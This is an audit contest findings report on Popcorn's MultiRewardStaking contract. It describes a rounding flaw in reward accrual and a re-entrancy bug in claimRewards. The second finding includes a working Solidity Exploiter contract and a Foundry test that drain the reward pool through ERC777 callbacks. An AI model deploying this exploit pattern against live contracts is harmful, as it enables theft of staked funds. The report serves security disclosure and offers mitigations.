Popcorn contest - 0Kage's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L398 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L406 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L427

Vulnerability details

Impact

Staking contract supports rewards to be paid out in multiple ERC20 tokens. For lower decimal tokens (eg USDC with 6 decimals), accrual math can lead to rounding errors resulting in 0 rewards accrual to stakers under certain conditions.

Token accrual math is split over 3 functions: _accrueStatic, _accrueRewards and _accrueUser. All 3 functions are called within accrueUser modifier that gets called every time there is a deposit/withdrawal/mint/redeem operations on staking pool. Here is how calculation is broken down

1. _accrueStatic calculates the rewards accrued over time elapsed (rewards_per_second * time_elapsed_in_seconds)
2. _accrueRewards updates global rewards by calculating deltaIndex and updates global rewards index and lastUpdatedTimestamp
3. user level rewards are updated in the _accrueUser function based on the rewards index calculated in previous step

global rewards index is updated with formula

delta_index = accrued * (10 ^ st_decimals) / st_total_supply

where

accrued = rewards_per_second * elapsed_time
st_decimals = staking token decimals
st_total_supply = staking token supply

When rewards_per_second are calculated in USDC (decimals: 10^6), token supply is large & elapsed time is small, above formula for delta_index is 0 (formula is rounded down). This means that rewards index isn't appropriately updated & user reward accrual in next step stays the same. Key vulnerability here is that USDC rewards per second is not normalized to 18 decimals (see example below) - this creates possibility for low numbers. Since this is likely even for realistic APY scenarios for USDC, I've marked issue as high risk

Proof of Concept

• Assume 20000 USDC (decimal 6) is to be rewarded in a year. This comes to rewards per second of 634 units per second (20000*10^6/ 31356000 seconds).

• Assume total staked token supply = 1000 ethers (100 * 10^18)

• For elapsed time of 1 second, calculating deltaIndex as per formula in _accruerRewards,

 deltaIndex = 634 <accrued> * 10^18 <stake token decimals> / 1000* 10^18 <total supply> = 0.634 = 0 (rounded down)

when deltaIndex = 0, user rewards for the elapsed time don't update.

Tools Used

Manual

Recommended Mitigation Steps

When reward token has lower decimals & staking token has higher decimals, rewardTokenSpeed should be normalized to staking token decimals. Once accrual calculations are complete, values can be rebased to reward token decimals at the time of claiming rewards.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L182

Vulnerability details

Impact

Classic re-entrancy risk in claimRewards when reward token allows for callback hooks (ERC777 which is compliant with ERC20). In the claimRewards function, transfer is happening first & then the user balances are adjusted. Incase reward token is ERC777, a malicious contract (demonstrated below) can implement IERC777Receive to callback claimRewards again until the reward balance in staking contract is completely drained out.

This can be replicated even if the funds are in escrow.

Proof of Concept

STEP 1: Created a mock ERC777 contract using ERC20 but with a receive hook

contract ERC777Mock is ERC20 {
  constructor(string memory name_, string memory symbol_)
    ERC20(name_, symbol_)
  {}

  function mint(address to, uint256 value) public virtual {
    _mint(to, value);
  }

  function transfer(address to, uint256 amount)
    public
    virtual
    override
    returns (bool)
  {
    bool success = super.transfer(to, amount);
    if (success) {
      _callTokensReceived(msg.sender, to, amount);
    }
    return success;
  }

  function _callTokensReceived(
    address from,
    address to,
    uint256 amount
  ) private {
    if (to != address(0)) {
      IERC777Recipient(to).tokensReceived(from, to, amount);
    }
  }
}

STEP 2: Created an Exploiter contract that implementsIERC777Recipient. This contract keeps track of user reward balance and staking balance and repeatedly calls claimRewards until reward balance in staking contract is 0.

interface IERC777Recipient {
  function tokensReceived(
    address from,
    address to,
    uint256 amount
  ) external;
}

contract Exploiter is IERC777Recipient {
  uint8 private counter;
  MultiRewardStaking private staking;
  IERC20 private token;

  constructor(address _staking, address _token) {
    staking = MultiRewardStaking(_staking);
    token = IERC20(_token);
  }

  function tokensReceived(
    address from,
    address to,
    uint256 amount
  ) external override {

    uint256 userRewardBalance = staking.accruedRewards(to, token);
    uint256 stakingBalance = token.balanceOf(address(staking));
    counter++; //-n increase counter

    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = token;

    if (stakingBalance < userRewardBalance || counter > 100) return;
    staking.claimRewards(address(this), rewardsTokenKeys);
  }

STEP 3: A simple test script checks that the reward balance of staking contract goes to 0

  function test_exploit_claimRewards() public {
    address[] memory operators;

    Exploiter exploiter = new Exploiter(
      address(staking),
      address(rewardToken777)
    );

    _addRewardToken777(rewardToken777);
    stakingToken.mint(address(exploiter), 5 ether);

    vm.startPrank(address(exploiter));
    stakingToken.approve(address(staking), 5 ether);
    staking.deposit(1 ether);

    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken777;

    vm.warp(block.timestamp + 10); //-n in 10 seconds, only 1 ether is rightfully accrued to user

    assertEq(iRewardToken777.balanceOf(address(staking)), 10 ether); //-n initial rewards funded into staking contract
    staking.claimRewards(address(exploiter), rewardsTokenKeys); 
    assertEq(iRewardToken777.balanceOf(address(staking)), 0);

    vm.stopPrank();
  }

Tools Used

Foundry

Recommended Mitigation Steps

Use Reentrancy guard for claimRewards function.